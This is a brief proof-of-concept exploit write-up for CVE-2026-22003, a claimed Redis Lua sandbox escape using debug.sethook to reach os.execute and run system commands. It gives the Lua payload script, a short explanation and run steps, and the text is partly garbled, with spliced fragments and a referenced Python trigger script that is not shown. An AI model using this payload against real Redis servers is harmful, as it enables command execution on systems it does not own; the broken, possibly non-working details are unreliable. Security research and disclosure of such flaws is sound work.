
Proof-of-concept exploit for CVE-2026-22003 demonstrating Redis Lua sandbox escape via debug.sethook to execute arbitrary system commands.
debug.sethook-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
debug.sethook(function()
-- This hook runs in a privileged context
os.execute("id > /tmp/redis_escape")
end, "r")
local a = 1
end
return escape()
The Redis Lua sandbox does not properly disable the debug.sethook function. An attacker who can run Lua scripts can install a hook that executes in a privileged context and break out of the sandbox to execute arbitrary system commands.
os.execute or similar functions.EVAL).pip install redis
python trigger_redis_sandbox_escape.py
The file /tmp/redis_escape is created, proving command execution.